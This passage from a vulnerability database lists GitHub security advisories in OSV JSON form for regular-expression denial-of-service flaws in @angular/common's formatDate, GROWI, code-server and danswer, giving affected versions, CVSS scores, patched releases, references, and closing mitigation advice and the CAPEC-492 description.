              "introduced": "21.0.0-next.0"
            },
            {
              "fixed": "21.2.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0.0-next.0"
            },
            {
              "fixed": "20.3.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "19.2.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54268"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T17:24:52Z",
    "nvd_published_at": "2026-06-22T16:16:39Z",
    "severity": "HIGH"
  },
  "details": "A Denial of Service (DoS) vulnerability exists in the `@angular/common` package of the Angular framework. The `formatDate` function, which is also utilized by the standard Angular `DatePipe`, does not properly limit or validate the length of the `format` parameter. \n\nWhen parsing a maliciously crafted, excessively long date format string (e.g., a repeating pattern or very large string), the internal parser splits the string iteratively using a regular expression loop. This results in uncontrolled resource consumption (high CPU utilization and excessive memory allocations), leading to a Denial of Service (DoS).\n\n\n### Impact\n\n#### 1. Server-Side Rendering (SSR)\nIn Angular applications that leverage Server-Side Rendering, an attacker can supply a malicious payload with an excessively long date format string. Processing this on the server causes high CPU usage and triggers a `JavaScript heap out of memory` crash, rendering the application unavailable to all users.\n\n#### 2. Client-Side Rendering (CSR)\nIn standard client-side applications, executing the vulnerable function with an excessively long format string blocks the browser\u0027s main thread, causing the browser tab to freeze and become completely unresponsive.\n\n### Patched Versions\n* 22.0.1  \n* 21.2.17  \n* 20.3.25\n\n### Attack Preconditions\nFor this vulnerability to be exploitable, both of the following conditions must be met:\n1. **Vulnerable Component Usage:** The application must format dates using the `formatDate` utility or the `DatePipe`.\n2. **Attacker-Controlled Parameter:** The date format string passed to these utilities must be customizable or directly controlled by untrusted user input (e.g., parsed from query parameters, user preferences, or API responses).\n\n*If the date format is hardcoded (e.g., `\u0027mediumDate\u0027`, `\u0027shortTime\u0027`, or static strings) or properly validated to be within a reasonable length limit, the application is not vulnerable.*",
  "id": "GHSA-48r7-hpm6-gfxm",
  "modified": "2026-07-15T22:04:14Z",
  "published": "2026-06-15T17:24:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/security/advisories/GHSA-48r7-hpm6-gfxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54268"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/pull/69197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/eeb03f4ea310e2e51ba5d53a421ec7b418e186cd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/angular/angular"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@angular/common: Denial of Service (DoS) via OOM in Date Formatting (formatDate)"
}

GHSA-497M-753J-QCPH

Vulnerability from github – Published: 2025-06-25 06:30 – Updated: 2025-06-25 06:30
VLAI
Details

Inefficient regular expression complexity issue exists in GROWI prior to v7.1.6. If exploited, a logged-in user may cause a denial of service (DoS) condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-43880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-25T06:15:20Z",
    "severity": "MODERATE"
  },
  "details": "Inefficient regular expression complexity issue exists in GROWI prior to v7.1.6. If exploited, a logged-in user may cause a denial of service (DoS) condition.",
  "id": "GHSA-497m-753j-qcph",
  "modified": "2025-06-25T06:30:24Z",
  "published": "2025-06-25T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43880"
    },
    {
      "type": "WEB",
      "url": "https://github.com/weseek/growi/pull/9487"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN21624250"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-49X3-8228-3W3M

Vulnerability from github – Published: 2021-09-20 20:18 – Updated: 2021-09-20 18:59
VLAI
Summary
Inefficient Regular Expression Complexity in code-server
Details

code-server is vulnerable to Inefficient Regular Expression Complexity

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "code-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-20T18:59:46Z",
    "nvd_published_at": "2021-09-17T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "code-server is vulnerable to Inefficient Regular Expression Complexity",
  "id": "GHSA-49x3-8228-3w3m",
  "modified": "2021-09-20T18:59:46Z",
  "published": "2021-09-20T20:18:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cdr/code-server/commit/ca617df135e78833f93c8320cb2d2cf8bba809f5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cdr/code-server"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/38888513-30fc-4d8f-805d-34070d60e223"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Inefficient Regular Expression Complexity in code-server"
}

GHSA-4F3H-89PJ-W84F

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

A vulnerability in danswer-ai/danswer version 1 allows an attacker to perform a Regular Expression Denial of Service (ReDoS) by manipulating regular expressions. This can significantly slow down the application's response time and potentially render it completely unusable.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-7779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:37Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in danswer-ai/danswer version 1 allows an attacker to perform a Regular Expression Denial of Service (ReDoS) by manipulating regular expressions. This can significantly slow down the application\u0027s response time and potentially render it completely unusable.",
  "id": "GHSA-4f3h-89pj-w84f",
  "modified": "2025-03-20T12:32:46Z",
  "published": "2025-03-20T12:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7779"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/829f7d9f-8755-4362-bd40-801e4690dcdc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.